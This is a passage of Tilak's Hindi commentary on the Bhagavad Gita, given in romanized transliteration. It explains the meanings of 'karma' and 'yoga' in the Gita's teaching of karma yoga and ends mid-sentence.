गीता कर्म योग

karm yog gita

bal gangadhar lokamany tilak dvara gita bhashy

tasmadyogay yujyasv yogah karmasu kaushalamh.gita 2.50.

yadi kisi manushy ko kisi shastr ke janane ki ichchha pahale hi se n ho to vah us shastr ke jnan ko pane ka adhikari nahian ho sakata. aise adhikar rahit manushy ko us shastr ki shiksha dena mano chalani hi mean doodh duhana hai. shishy ko to us shiksha se kuchh labh hota hi nahian; parantu guru ko bhi nirarthak shram karake samay nasht karana p data hai. jaimini aur badarayan ke aranbh mean isi karan se athato dharmajijnasa aur athato brahmajijnasa kaha hua hai. jaise brahmopadesh mumukshuoan ko aur dharmopadesh dharmechchhuoan ko dena chahie, vaise hi karm shastropadesh usi manushy ko dena chahie jise yah janane ki ichchha ya jijnasa ho ki sansar mean karm kaise karana chahie. isilie hamane pahale prakaran mean 'athato' kahakar, doosare prakaran mean karm–jijnasa ka svaroop aur karm–yogashastr ka mahattv batalaya hai. jab tak pahale hi se is bat ka anubhav n kar liya jae ki amuk kam mean amuk rookavat hai, tab tak us a dachan se chhutakara pane ki shiksha dene vala shastr ka mahattv dhyan mean nahian ata; aur mahattv ko n janane se keval rata hua shastr samay par dhyan mean rahata bhi nahian hai. yahi karan hai ki jo sadaguru haian ve pahale yah dekhate haian ki shishy ke man mean jijnasa hai ya nahian, aur yadi jijnasa n ho to ve pahale usi ko jagrat karane ka prayatn kiya karate haian.

gita mean karmayog shastr ka vivechan isi paddhati se kiya gaya hai. jab arjun ke man mean yah shanka aee ki jis l daee mean mere hath se pitrivadh aur guruvadh hoga tatha jisamean apane sab bandhuoan ka nash ho jaega, usamean shamil hona uchit hai ya anuchit; aur jab vah yuddh se para dmukh hokar sannyas lene ko taiyar hua aur jab bhagavan ke is samany yuktivad se bhi usake man ka samadhan nahian hua ki 'samay par kie jane vale karm ka tyag karana moorkhata aur durbalata ka soochak hai. isase tumako svarg to milega hi nahian, ulata dushkirti avashy hogi.' tab shri bhagavan ne pahale

ashochyananvashochastvan prajnavadaanshch bhashase –

arthat; jis bat ka shok nahian karana chahie usi ka to too shok kar raha hai aur sath–sath brahmajnan ki bhi b di b di batean chhaant raha hai, kahakar arjun ka kuchh tho da sa upahas kiya aur phir usako karm ke jnan ka upadesh diya. arjun ki shanka kuchh niradhar nahian thi. gat prakaran mean hamane yah dikhalaya hai ki achchhe achchhe panditoan ko bhi kabhi–kabhi 'kya karana chahie aur kya nahian karana chahie?' yah prashn chakkar mean dal deta hai. parantu karm–akarm ki chinta mean anek a dachanean ati haian, isalie karm ko chho d dena uchit nahian hai. vicharavan purushoan ko aisi yukti arthath 'yog' ka svikar karana chahie jisase saansarik karmoan ka lop to hone n pae aur karmacharan karane vala kisi pap ya bandhan mean bhi n phanse– yah kahakar shrikrishna ne arjun ko pahale yahi upadesh diya hai-

tasmadyogay yujyasv,

arthat; too bhi isi yukti ko svikar kar. yahi 'yog' karmayogashastr hai aur jabaki yah bat pragat hai ki arjun par aya hua sankat kuchh lok–vilakshan ya anokha nahian tha. aise anek chhote–b de sankat sansar mean sabhi logoan par aya karate haian. tab to yah bat avashyak hai ki is karmayogashastr ka jo vivechan bhagavadgita mean kiya gaya hai, use har ek manushy sikhe. kisi shastr ke pratipadan mean kuchh mukhy aur goodh arth ko pragat karane vale shabdoan ka prayog kiya jata hai. atev unake saral arth ko pahale jan lena chahie aur yah bhi dekh lena chahie ki us shastr ke pratipadan ki mool shaili kaisi hai, nahian to phir usake samajhane mean kee prakar ki apattiyaan aur badhaean hoti haian. isalie karmayogashastr ke kuchh mukhy shabdoan ke arth ki pariksha yahaan par ki jati hai.

sabase pahala shabd ‘karm’ hai. ‘karm’ shabd ‘kri’ dhatu se bana hai, usaka arth 'karana, vyapar, halachal' hota hai aur isi samany arth mean gita mean usaka upayog hua hai, arthath yahi arth gita mean vivakshit hai. aisa kahane ka karan yahi hai ki mimaansashastr mean aur any sthanoan par bhi is shabd ke jo sankuchit arth die ge haian, unake karan pathakoan ke man mean kuchh bhram utpann hone n paean. kisi bhi dharm ko hi le lijie, usamean eeshvar prapti ke lie kuchh n kuchh karm karane ko batalaya hi rahata hai. prachin vaidik dharm ke anusar dekha jae to yajn–yag hi vah karm hai jisase eeshvar ki prapti hoti hai. vaidik granthoan mean yajn–yag ki vidhi bataee gee hai; parantu isake vishay mean kahian kahian paraspar virodhi vachan bhi pae jate haian. atev unaki ekata aur mel dikhalane ke lie hi jaimini ke poorv mimaansashastr ka prachar hone laga. jaimini ke matanusar vaidik aur shraut yajn–yag karana hi pradhan aur prachin dharm hai. manushy jo kuchh karata hai, vah sab yajn ke lie hi karata hai. yadi use dhan kamana hai to yajn ke lie aur dhany sangrah karana hai to bhi yajn ke lie hi. jabaki yajn karane ki ajna vedoan ne hi di hai, tab yajn ke lie manushy kuchh bhi karm kare vah usako bandhak kabhi nahian hoga. vah karm yajn ka ek sadhan hai, vah svatantr riti se sadhy vastu nahian hai. isalie yajn se je phal milane vala hai usi mean us karm ka bhi samavesh ho jata hai, us karm ka koee alag phal nahian hota. parantu yajn ke lie kie ge ye karm yadyapi svatantr phal ke dene vale nahian haian, tathapi svayan yajn se svargaprapti (arthath mimaansakoan ke matanusar ek prakar ki sukhaprapti) hoti hai aur is svargaprapti ke lie hi yajnakartta manushy b de chav se yajn karata hai. isi se svayan yajnakarm 'purusharth' kahalata hai; kyoanki jis vastu par kisi manushy ki prapti hoti hai aur jise pane ki usake man mean ichchha hoti hai use 'purusharth' kahate haian.

yajn ka paryayavachi ek doosara ‘rritu’ shabd hai, isalie ‘yajnarth’ ke badale ‘rritvarth’ bhi kaha karate haian. is prakar sab karmoan ke do varg ho geah– ek 'yajnarth' (rritvarth) karm, arthath jo svatantr riti se phal nahian dete, atev abandhak haian; aur doosare 'purusharth' karm, arthath jo purush ko labhakari hone ke karan bandhak haian. sanhita aur brahman granthoan mean yajn–yag adi ka hi varnan hai. yadyapi rrigved sanhita mean indr adi devataoan ke stuti sanbandhi sookt haian, tathapi mimaansak–gan kahate haian ki sab shruti granth yajn adi karmoan ke hi pratipadak haian kyoanki unaka viniyog yajn ke hi samay mean kiya jata hai. in karmath, yajnik ya keval karmavadiyoan ka kahana hai ki vedokt yajn–yag adi karm karane se hi svarg prapti hoti hai, nahian to nahian hoti; chahe ye yajn ajnanata se kie jaean ya brahmajnan se. yadyapi upanishadoan mean ye yajn grahy mane ge haian, tathapi unaki yogyata brahmajnan se kam thaharaee gee hai. isalie nishchay kiya gaya hai ki yajn–yag se svarg prapti bhale hi ho jae, parantu inake dvara moksh nahian mil sakata. moksh prapti ke lie brahmajnan ki hi nitant avashyakata hai.

bhagavadgita ke doosare adhyay mean jin yajn–yag adi kamy karmoan ka varnan kiya gaya hai –

vedavadarataah parth nanyadastiti vadinah– ve brahmajnan ke bina kie jane vale uparyukt yajn–yag adi karm hi haian. isi tarah yah bhi mimaansakoan hi ke mat ka anukaran hai ki

yajnarthatkarmanoanyatr lokoayan karmabandhanah,

arthat; yajnarth kie ge karm bandhak nahian haian, shesh sab karm bandhak haian. in yajn–yag adi vaidik karmoan ke atirikt, arthath shraut karmoan ke atirikt aur bhi chaturvarary ke bhedanusar doosare avashyak karm manusmriti adi dharmagranthoan mean varnit haian; jaise kshatriy ke lie yuddh aur vaishy ke lie vanijy. pahale pahal in varnashram karmoan ka pratipadan smriti–granthoan mean kiya gaya tha, isalie inhean ‘smart karm’ ya ‘smart yajn’ bhi kahate haian. in shraut aur smart karmoan ke sivay aur bhi dharmik karm haian jaise vrat, upavas adi. inaka vistrit pratipadan pahale pahal sirf puranoan mean kiya gaya hai, isalie inhean 'pauranik karm' kah sakeange. in sab karmoan ke aur bhi tin ‘nity, naimittik aur kamy’ bhed kie ge haian. snan, sandhya adi jo hamesha kie jane vale karm haian unhean nityakarm kahate haian. inake karane se kuchh vishesh phal athava arth ki siddhi nahian hoti, parantu n karane se dosh avashy lagata hai. naimittik karm unhean kahate haian jinhean pahale kisi karan ke upasthit ho jane se karana p data hai, jaise anisht grahoan ki shanti, prayashchit adi. jisake lie ham shanti aur prayashchit karate haian, vah nimitt karan yadi pahale n ho gaya ho to hamean naimittik karm karane ki koee avashyakata nahian hoti. jab ham kuchh vishesh ichchha rakhakar usaki saphalata ke lie shastranusar koee karm karate haian tab use kamy–karm kahate haian; jaise varsha hone ke lie ya putraprapti ke lie yajn karana. nity, naimittik aur kamy karmoan ke sivay aur bhi karm haian, jaise madirapan ityadi jinhean shastroan ne tyajy kaha hai; isalie ye karm nishiddh kahalate haian.

nity karm kaun–se haian, naimittik kaun–se haian aur kam tatha nishiddh karm kaun se haian, ye sab batean dharmashastroan mean nishchit kar di geean haian. yadi koee kisi dharmashastri se poochhe ki amuk karm purayaprad hai ya papakarak, to vah sabase pahale is bat ka vichar karega ki shastroan ki ajna ke anusar vah karm yajnarth hai ya purusharth, nity hai ya naimittik athava kamy hai ya nishiddh. aur in batoan par vichar karake phir vah apana nirnay karega. parantu bhagavadgita ki drishti isase bhi adhik vyapak aur vistirn hai. man lijie ki amuk ek karm shastroan mean nishiddh nahian mana gaya hai, athava vah vihitt karm hi kaha gaya hai; jaise yuddh ke samay kshatradharm hi arjun ke lie vihitt karm tha, to itane se hi yah siddh nahian hota ki hamean vah karm hamesha karate hi rahana chahie, athava us karm ka karana hamesha shreyaskar hi hoga. yah bat pichhale prakaran mean kahi gee hai ki kahian kahian to shastr ki ajna bhi paraspar viruddh hoti hai. aise samay mean manushy ko kis marg ko svikar karana chahie? is bat ka nirnay karane ke lie koee yukti hai ya nahian? yadi hai, to vah kaun si hai? bas yahi gita ka mukhy vishay hai. is vishay mean karm ke uparyukt anek bhedoan par dhyan dene ki koee avashyakata nahian. yajn–yag adi vaidik karmoan tatha chaturvany ke karmoan ke vishay mean mimaansakoan ne jo siddhant die haian, ve gita mean pratipadit karmayog se kahaan tak milate haian, yah dikhane ke lie prasanganusar gita mean mimaansakoan ke kathan ka bhi kuchh vichar kiya gaya hai aur aantim adhyay mean is par bhi vichar kiya gaya hai ki jnani purush ko yajn–yag adi karm karana chahie ya nahian. parantu gita ke mukhy pratipady vishay ka kshetr isase bhi vyapak hai, isalie gita mean ‘karm’ shabd ka keval ‘shraut athava smart karm’ itana hi sankuchit arth nahian liya jana chahie, kintu usase bhi adhik vyapak roop mean lena chahie.

saraansh, manushy jo kuchh karata hai – jaise khana, pina, khelana, rahana, uthana–baithana, shvasochchhvas karana, hansana, rona, sooanghana, dekhana, bolana, sunana, chalana, lena–dena, sona, jagana, marana, l dana, manan aur dhyan karana, ajna aur nishedh karana, dan dena, yajn–yag karana, kheti aur vyapar–dhandha karana, ichchha karana, nishchay karana, chup rahana ityadi ityadi – ye sab bhagavadgita ke anusar ‘karm’ hi haian; chahe ve karm kayik hoan, vachik hoan athava manasik hoan aur to kya, jina–marana bhi karm hi to haian, aur mauqa ane par yah bhi vichar karana p data hai ki 'jina ya marana' in do karmoan mean se kisako svikar kiya jae? is vichar ke upasthit hone par karm shabd ka arth 'karttavy karm' athava 'vihitt karm' ho jata hai. manushy ke karm ke vishay mean yahaan tak vichar ho chuka. ab isake age badhakar sab char–achar srishti ke bhi evan achetan vastu ke bhi vyapar mean ‘karm’ shabd ka hi upayog hota hai. is vishay ka vichar age karm–vipak–prakriya mean kiya jaega.

karm shabd se bhi adhik bhramakarak shabd 'yog' hai. ajakal is shabd ka roodharth 'pranayam adi sadhanoan se chitt–vrittiyoan ya indriyoan ka nirodh karana', athava 'patanjal sootrokt samadhi ya dhyanayog' hai. upanishadoan mean bhi isi arth se is shabd ka prayog hua hai. parantu dhyan mean rakhana chahie ki yah sankuchit arth bhagavadgita mean vivikshit nahian hai. 'yog' shabd 'yujh' dhatu se bana hai jisaka arth 'jo d, mel, milap, ekata, ekatr–avasthiti' ityadi hota hai aur aisi sthiti ki prapti ke 'upay, sadhan, yukti ya karm' ko bhi yog kahate haian. yahi sab arth amarakosh mean is tarah se die hue haian-

yogah sanhananopay dhyanasangati yuktishu.

phalit jyotish mean koee grah yadi isht athava anisht hoan to un grahoan ka 'yog' isht ya anisht kahalata hai; aur 'yogakshem' pad mean 'yog' shabd ka arth 'aprapt vastu ko prapt karana' liya gaya hai. bharatiy yuddh ke samay dronachary ko ajey dekhakar shrikrishna ne kaha hai ki

eko hi yogoasy bhavedvadhay

arthat; dronachary ko jitane ka ek hi yog (sadhan ya yukti) hai aur age chalakar unhoanne yah bhi kaha hai ki hamane poorvakal mean dharm ki raksha ke lie jarasandh adi rajaoan ko yog hi se kaise mara tha. udyogaparv mean kaha gaya hai ki jab bhishm ne amba, ambika aur ambalika ko haran kiya tab any raja log 'yog yog' kahakar unaka pichha karane lage the. mahabharat mean 'yog' shabd ka prayog isi arth mean anek sthanoan par hua hai. gita mean yog, yogi athava yog shabd se bane hue samasik shabd lagabhag assi bar pae ge haian; parantu char–paanch sthanoan ke sivay yog shabd se 'patanjal yog' arth kahian bhi abhipret nahian hai. sirf 'yukti, sadhan, kushalata, upay, jo d, mel' yahi arth kuchh her pher se sari gita mean pae jate haian atev ham kah sakate haian ki gita shastr ke vyapak shabdoan mean 'yog' bhi ek shabd hai.

parantu yog shabd ke ukt samany arthoan mean se hi; jaise sadhan, kushalata, yukti adi se hi kam nahian chal sakata, kyoanki vakta ki ichchha ke anusar yah sadhan sannyas ka ho sakata hai, karm aur chitt–nirodh ka ho sakata hai, aur moksh ka athava aur bhi kisi ka ho sakata hai. udaharanarth; kahian kahian gita mean anek prakar ki vyakt srishti nirman karane ki eeshvari kushalata aur adbhut samarthy ko 'yog' kaha gaya hai; aur isi arth mean bhagavan ko 'yogeshvar' kaha gaya hai. parantu yah kuchh gita ke 'yog' shabd ka mukhy arth nahian hai. isalie yah bat spasht riti se pragat kar dene ke lie ki yog shabd se kis vishesh prakar ki kushalata, sadhan, yukti athava upay ko gita mean vivakshit samajhana chahie, us granth mean hi yog shabd ki yah nishchit vyakhya ki gee hai –

yogah karmasu kaushalamh

arthat; karm karane ki kisi vishesh prakar ki kushalata, yukti, chaturaee athava shaili ko yog kahate haian. shaankar bhashy mean bhi 'karmasu kaushalamh' ka yahi arth liya gaya hai – 'karm mean svabhav siddh rahane vale bandhan ko to dane ki yukti.' yadi samanyatah dekha jae to ek hi karm ko karane ke lie anek yog aur upay hote haian. parantu unamean se jo upay ya sadhan uttam ho, usi ko yog kahate haian. jaise dravy uparjan karana ek karm hai; isake anek upay ya sadhak haian jaise ki – chori karana, jalasaji karana, bhikh maangana, seva karana, rrin lena, mehanat karana adi, yadyapi dhatu ke arthanusar inamean se har ek ko yog kah sakate haian tathapi yatharth mean 'dravy–prapti yog' usi upay ko kahate haian jisase ham apani svatantrata rakhakar mehanat karate hue dharm prapt kar sakean. jab svayan bhagavan ne yog shabd ki nishchit aur svatantr vyakhya gita mean kar di hai-

'yogah karmasu kaushalamh'– 'arthat' karm karane ki ek prakar ki vishesh yukti ko yog kahate haian; tab sach poochho to is shabd ke mukhy arth ke vishay mean kuchh bhi shanka nahian rahani chahie. parantu svayan bhagavan ki batalaee huee is vyakhya par dhyan n dekar gita ke anek tikakaroan ne yog shabd ke arth ki khoob khianchatani ki hai aur gita ka mathitarth bhi manamana nikala hai. atev is bhram ko door karane ke lie yog shabd ka kuchh aur bhi spashtikaran hona chahie. yah shabd pahale pahal gita ke doosare adhyay mean aya hai aur vahian isaka spasht arth bhi batala diya gaya hai. pahale saankhyashastr ke anusar bhagavan ne arjun ko yah samajha diya ki yuddh kyoan karana chahie; isake bad unhoanne kaha ki 'ab ham tumhean yog ke anusar upapatti batalate haian, aur phir isaka varnan kiya hai jo ki log hamesha yajn–yagadi kamy karmoan mean hi nimagn rahate haian, unaki buddhi phalasha se kaisi vyagr ho jati hai. isake pashchath unhoanne yah upadesh diya hai ki 'buddhi ko avyagr sthir ya shant rakhakar asakti ko chho d de, parantu karmoan ko chho d dene ke agrah mean n p d' aur yogasth hokar karmoan ka acharan kar'. yahian par yog shabd ka yah spasht arth bhi kah diya hai ki 'siddhi aur asiddhi donoan mean samabuddhi rakhane ko yog kahate haian.' isake bad yah kahakar ki 'phal ki asha se karm karane ki apeksha samabuddhi ka yah yog hi shreshth hai', aur 'buddhi ki samata ho jane par karm karane vale ko karmasanbandhi pap–puny ki badha nahian hoti; isalie too is 'yog' ko prapt kar.'

turant hi yog ka yah lakshan phir bhi batalaya hai ki 'yogah karmasu kaushalamh'. isase siddh hota hai ki pap–puny se alipt rahakar karm karane ki jo samatv buddhiroop ki vishesh yukti pahale batalaee gee hai, vahi 'kaushal' hai aur isi kushalata arthath yukti se karm karane ko gita mean 'yog' kaha gaya hai. isi arth ko arjun ne age chalakar 'yoayan yogastvaya proktah samyen madhusoodan' is shlok mean spasht kar diya hai. isake sanbandh mean ki jnani manushy ko is sansar mean kaise chalana chahie, shri shankarachary ke poorv hi prachalit hue vaidik dharm ke anusar do marg haian. ek marg yah hai ki jnan ki prapti ho jane par sab karmoan ka sannyas arthath tyag kar de; aur doosara yah ki jnan ki prapti ho jane par bhi sab karmoan ko n chho de, unako janm bhar aisi yukti ke sath karata rahe ki unake pap–puny ki badha n hone pae. inhian do margoan ko gita mean sannyas aur karmayog kaha hai.

sannyas kahate haian tyag ko, aur gita kahate haian mel ko; arthath karm ke tyag aur karm ke mel hi ke ukt do bhinn bhinn marg haian. inhian do bhinn bhinn margoan ko lakshy karake age 'saankhyayogau' (saankhy aur yog) ye sankshipt nam bhi die ge haian. buddhi ko sthir karane ke lie patanjalayog shastroan ke asanoan ka varnan chhathavean adhyay mean hai sahi; parantu vah kisake lie hai? tapasvi ke lie nahian, kintu vah karmayogi arthath yukti poorvak karm karane vale manushy ko 'samata' ki yukti siddh kar lene ke lie batalaya gaya hai. nahian to phir 'tapasvibhyoadhiko yogi' is vaky ka kuchh arth hi nahian ho sakata. isi tarah is adhyay ke aant mean arjun ko jo upadesh diya gaya hai ki tasmadyogi bhavarjun, usaka arth aisa nahian ho sakata ki 'he arjun! too patanjal yog ka abhyas karane vala ban ja.' isalie ukt upadesh ka arth

yogasthah kuru karmani,
tasmadyogay yujyasv yogah karmasu kaushalamh,
yogamatishthottishth bharat ityadi vachanoan ke arth ke saman hi hona chahie.

arthat usaka yahi arth lena uchit hai ki 'he arjun! too yukti se karm karane vala yogi arthath karmayogi ho.' kyoanki yah kahana hi sanbhav nahian hai ki 'too patanjal yog ka ashray lekar yuddh ke lie taiyar rah.' isake pahale hi saf saf kaha gaya hai ki 'karmayogen yoginamh' arthath yogi purush karm karane vale hote haian. mahabharat ke narayaniy athava bhagavat dharm ke vivechan mean bhi kaha gaya hai ki is dharm ke log apane karmoan ka tyag kie bina hi yuktipoorvak karm karake hi (saprayukten karmana) parameshvar ki prapti kar lete haian. isase yah spasht ho jata hai ki 'yogi' aur 'karmayogi' donoan hi shabd gita mean samanarthak haian aur inaka arth 'yukti se karm karane vala' hota hai tathapi b de bhari 'karmayog' shabd ka prayog karane ke badale gita aur mahabharat mean chhote se 'yog' shabd ka hi adhik upayog kiya gaya hai. 'maianne tumhean jo yah yog batalaya hai isi ko poorvakal mean vivasvan se kaha tha; aur vivasvan ne manu ko batalaya tha. parantu us yog ke nasht ho jane par phir vahi yog aj tujhase kahana p da.' is avataran mean bhagavan ne jo yog shabd ka tin bar uchcharan kiya hai usamean patanjal yog ka vivakshit hona nahian paya jata hai, kintu 'karm karane ki kisi prakar ki vishesh yukti, sadhan ya marg' arth hi liya ja sakata hai. isi tarah jab sanjay krishna–arjun sanvad ko gita mean yog kahata hai tab bhi yahi arth paya jata hai. shri shankarachary svayan sannyas marg vale the; to bhi unhoanne apane gita bhashy ke aranbh mean hi vaidik dharm ke do bhed – pravritti aur nivritti batalae haian aur yog shabd ka arth shri bhagavan dvara ki huee vyakhya ke anusar kabhi samyagdarshanopay karmanushthanamh aur kabhi 'yogah yuktiah' kiya hai. isi tarah mahabharat mean bhi yog aur jnan donoan shabdoan ke arth ke vishay mean spasht likha hai ki

pravritti lakshno yogah jnanan sannyasalakshanamh

arthath yog ka arth pravritti–marg aur jnan ka arth sannyas ya nivritti–marg hai. shaantiparv ke aant mean narayaniyopakhyan mean 'saankhy' aur 'yog' shabd to isi arth mean anek bar ae haian aur isaka bhi varnan kiya gaya hai ki ye donoan marg srishti ke aranbh mean kyoan aur kaise nirman kie ge. pahale prakaran mean mahabharat se jo vachan udghrit kie ge haian unase yah spashtataya maloom ho gaya hai ki yahi narayaniy athava bhagavat dharm bhagavadgita ka pratipady tatha pradhan vishay hai. isalie kahana p data hai ki saankhy aur yog shabdoan ka jo prachin aur paribhashik arth saankhy=nivritti; yog=pravritti narayaniy dharm mean diya gaya hai, vahi arth gita mean bhi vivakshit hai. yadi isamean kisi ko koee shanka ho to gita mean di huee is vyakhya se 'samatvan yog uchyate' ya 'yogah karmasu kaushalamh' tatha uparyukt 'karmayogen yoginamh' ityadi gita ke vachanoan se us shanka ka samadhan ho sakata hai. isalie ab yah nirvivad siddh hai ki gita mean 'yog shabd pravritti marg arthath 'karmayog' ke arth hi mean prayukt hua hai. vaidik dharm granthoan ki kaun kahe; yah 'yog' shabd sanskrit aur pali bhashaoan ke bauddh dharm granthoan mean bhi isi arth mean prayukt hai. udaharanarth, sanvat 335 ke lagabhag likhe ge miliandaprashn namak pali–granth mean 'pubbayogo' (poorvayog) shabd aya hai aur vahian usaka arth 'pubbakamm' (poorvakarm) kiya gaya hai. isi tarah ashvaghosh kavikrit, jo shalivahan shak ke aranbh mean ho gaya hai– buddhacharit namak sanskrit kavy ke pahale sarg ke pachasavean shlok mean yah varnan haiah–

acharyakan yogavidhau dvijanamapraptamanyairjanako jagam.

arthath 'brahmanoan ko yog–vidhi ki shiksha dene mean raja janak achary (upadeshta) ho ge, inake pahale yah acharyatv kisi ko bhi prapt nahian hua tha.' yahaan par yogavidhi ka arth nishkam karmayog ki vidhi hi samajhana chahie; kyoanki gita adi anek granth mukt kanth se kah rahe haian ki janak ji ke bartav ka yahi rahasy hai aur ashvaghosh ne apane buddhacharit mean yah dikhalane ke lie ki 'grihasthashram mean rahakar bhi moksh ki prapti kaise ki ja sakati hai' janak ka udaharan diya hai. janak ke dikhalae hue marg ka nam 'yog' hai aur yah bat bauddhadharm granthoan se bhi siddh hoti hai, isalie gita ke 'yog' shabd ka bhi yahi arth lagana chahie; kyoanki gita ke kathananusar janak ka hi marg usamean pratipadit kiya gaya hai. saankhy aur yogamarg ke vishay mean adhik vichar age kiya jaega. prastut prashn yahi hai ki gita mean 'yog' shabd ka upayog kis arth mean kiya gaya hai.

jab ek bar yah siddh ho gaya ki gita mean 'yog' ka pradhan arth karmayog aur 'yogi' ka pradhan arth karmayogi hai, to phir yah kahane ki avashyakata nahian hai ki bhagavadgita ka pratipady vishay kya hai. svayan bhagavan apane upadesh ko 'yog' kahate haian; balki chhathavean (6.33) adhyay mean arjun ne aur gita ke aantim upasanhar (18.75) mean sanjay ne bhi gita ke upadesh ko yog hi kaha hai. isi tarah gita ke pratyek adhyay ke aant mean jo adhyay samapti darshak sankalp haian, unamean bhi saf saf kah diya hai ki gita ka pramukh pratipady vishay 'yogashastr' hai. parantu jan p data hai ki ukt sankalp ke shabdoan ke arth par kisi bhi tikakar ne dhyan nahian diya. aranbh ke do padoan shrimadbhagavadgitasu upanishatsu ke bad is sankalp mean do shabd 'brahmavidyayaan yogashastre' aur bhi jo de ge haian.

1. pahale do shabdoan ka arth hai – bhagavan se gae ge upanishad mean; aur
2. pichhale do shabdoan ka arth brahmavidya ka yogashastr arthath karmayog shastr hai, jo ki is gita ka vishay hai.

brahmavidya aur brahmajnan ek hi bat hai aur isake prapt ho jane par jnani purush ke lie do nishthaean ya marg khule hue haian. ek saankhy athava sannyas marg– arthath vah marg jisamean karmoan ka tyag n karake aisi yukti se karmayog karate rahana chahie ki jisase moksh–prapti mean kuchh bhi badha n ho. pahale marg ka doosara nam 'jnan–nishtha' bhi hai jisaka vivechan upanishadoan mean anek rrishiyoan ne aur any granthakaroan ne bhi kiya hai. parantu brahmavidya ke aantargat karmayog ka ya yogashastr ka tatvik vivechan bhagavadgita ke sivay any granthoan mean nahian hai. is bat ka ullekh pahale kiya ja chuka hai ki adhyay samapti darshak sankalp gita ki sab pratiyoan mean paya jata hai aur isase pragat hota hai ki gita ki sab tikaoan ke rache jane ke pahale hi usaki rachana huee hogi. is sankalp ke rachayita ne is sankalp mean 'brahmavidyayaan yogashastre' in do padoan ko vyarth hi nahian jo d diya hai; kintu usane gitashastr ke pratipady vishay ki apoorvata dikhane hi ke lie ukt padoan ko us sankalp mean adhar aur hetu sahit sthan diya hai. atah is bat ka bhi sahaj nirnay ho sakata hai ki gita par anek saanpradayik tikaoan ke hone ke pahale, gita ka tatpary kaise aur kya samajha jata tha. yah hamare saubhagy ki bat hai ki is karmayog ka pratipadan svayan bhagavan shrikrishna ne hi kiya hai, jo is yogamarg ke pravartak aur in sab yogoan ke sakshat eeshvar yogeshvar=yog+eeshvar hai; aur lokahit ke lie unhoanne arjun ko usaka rahasy batalaya hai. gita ke 'yog' aur 'yogashastr' shabdoan se hamare 'karmayog' aur 'karmayog shastr' shabd kuchh b de haian sahi; parantu ab hamane karmayog shastr sarikha b da nam hi is granth aur prakaran ko dena isalie pasand kiya hai ki jisamean gita ke pratipady vishay ke sanbandh mean kuchh bhi sandeh n rah jae.

ek hi karm ko karane ke jo anek yog, sadhan ya marg haian unamean se sarvottam aur shuddh marg kaun haian? usake anusar nity acharan kiya ja sakata hai ya nahian? nahian kiya ja sakata to kaun kaun se apavad utpann hote haian? jis marg ko hamane uttam man liya hai, vah uttam kyoan hai? jis marg ko ham bura samajhate haian, vah bura kyoan hai? yah achchhapan ya burapan kisake dvara ya kis adhar par thaharaya ja sakata hai athava is achchhepan ya burepan ka rahasy kya hai?– ityadi batean jis shastr ke adhar se nishchit ki jati haian, usako 'karmayog–shastr' ya gita ke sankshipt roopanusar 'yogashastr' kahate haian. achchha ya bura donoan hi sadharan shabd haian; inhian ke saman arth mean kabhi kabhi shubh–ashubh, hitakar–ahitakar, shreyaskar–ashreyaskar, pap–puny, dharm–adharm ityadi shabdoan ka upayog hua karata hai. kary–akary, karttavy–akarttavy, nyay–anyay ityadi shabdoan ka bhi arth vaisa hi hota hai. tathapi in shabdoan ka upayog karane valoan ka srishti–rachana–vishayak mat bhinn bhinn hone ke karan karmayog–shastr ke niroopan ke panth bhi bhinn bhinn ho ge haian. kisi bhi shastr ko le lijie, usake vishayoan ki charcha sadharanatah tin prakar se ki jati hai.

1. is j d srishti ke padarth thik vaise hi haian jaise ki ve hamari indriyoan ko gochar hote haian; isake pare unamean aur kuchh nahian hai; is drishti se unake vishay mean vichar karane ki ek paddhati hai jise adhibhautik vivechan kahate haian. udaharanarth; soory ko devata n manakar keval panchabhautik j d padarthoan ka ek gola manean; aur ushnata, prakash, vazan, doori aur akarshan ityadi usake keval gunadharmoan ki hi pariksha karean to use soory ka adhibhautik vivechan kaheange. doosara udaharan pe d ka hi le lijie. isaka vichar n karake ki pe d ke patte nikalana, phoolana, phalana adi kriyaean kis ke aantargat v kis shakti ke dvara hoti haian, jab keval bahari drishti se vichar kiya jata hai ki zamin mean bij bone se aankur phootate haian, phir ve badhate haian aur usi ke patte, shakha, phool ityadi drishy vikar pragat hote haian, tab use pe d ka adhibhautik vivechan kahate haian. rasayan shastr, padarth–vijnan shastr, vidyut shastr adi adhunik shastroan ka vivechan isi dhang ka hota hai. adhibhautik pandit yah bhi mana karate haian ki ukt riti se kisi vastu ke drishy gunoan ka vichar kar lene par unaka kam poora ho jata hai – srishti ke padarthoan ka isase adhik vichar karana nishphal hai.
2. jab ukt drishti ko chho dakar is bat ka vichar kiya jata hai ki j d srishti ke padarthoan ke mool mean kya hai, kya in padarthoan ka vyavahar keval unake gun–dharmoan se hi hota hai ya unake lie kisi tattv ka adhar bhi hai; tab keval adhibhautik vivechan se hi apana kam nahian chalata, hamako kuchh age pair badhana p data hai. udaharanarth, jab ham yah manate haian ki yah panchabhautik soory namak ek dev ka adhishthan hai aur isi ke dvara is achetan gole (soory) ke sab vyapar ya vyavahar hote rahate haian; tab usako us vishay ka adhidaivik vivechan kahate haian. is mat ke anusar yah mana jata hai ki pe d mean, pani mean, hava mean, arthath sab padarthoan mean anek dev haian jo un j d tatha achetan padarthoan se bhinn to haian; kintu unake vyavaharoan ko vahi chalate haian.
3. parantu jab yah mana jata hai ki j d srishti ke hazaroan j d padarthoan mean hazaroan svatantr devata nahian haian; kintu bahari srishti ke sab vyavaharoan ko chalane vali manushy ke sharir mean atm–svaroop se rahane vali aur manushy ko sari srishti ka jnan prapt kara dene vali ek hi chit shakti hai jo ki iandriyatit hai aur jisake dvara hi is jagath ka sara vyavahar chal raha hai; tab us vichar paddhati ko adhyatmik vivechan kahate haian. udaharanarth; adhyatmavadiyoan ka mat hai ki soory, chandr adi ka vyavahar yahaan tak ki vrikshoan ke pattoan ka hilana bhi, isi achinty shakti ki prerana se hua karata hai; soory, chandr adi mean ya any sthanoan mean bhinn bhinn tatha svatantr devata nahian haian. prachin kal se kisi bhi vishay ka vivechan karane ke lie ye tin marg prachalit haian aur inaka upayog upanishad granthoan mean bhi kiya gaya hai. udaharanarth; jnanendriyaan shreshth haian ya pran shreshth haian, is bat ka vichar karate samay brihadaranyak adi upanishadoan mean ek bar ukt indriyoan ke agni adi devataoan ko aur doosara bar unake sookshm roopoan (adhyatm) ko lekar unake balabal ka vichar kiya gaya hai aur gita ke satavean adhyay ke ant mean tatha athavean ke arambh mean eeshvar ke svaroop ka jo vichar batalaya gaya hai, vah bhi isi drishti se kiya gaya hai. adhyatmavidya vidyanamh is vaky ke anusar hamare shastrakaroan ne ukt tin margoan mean se adhyatmik vivaran ko hi adhik mahattv diya 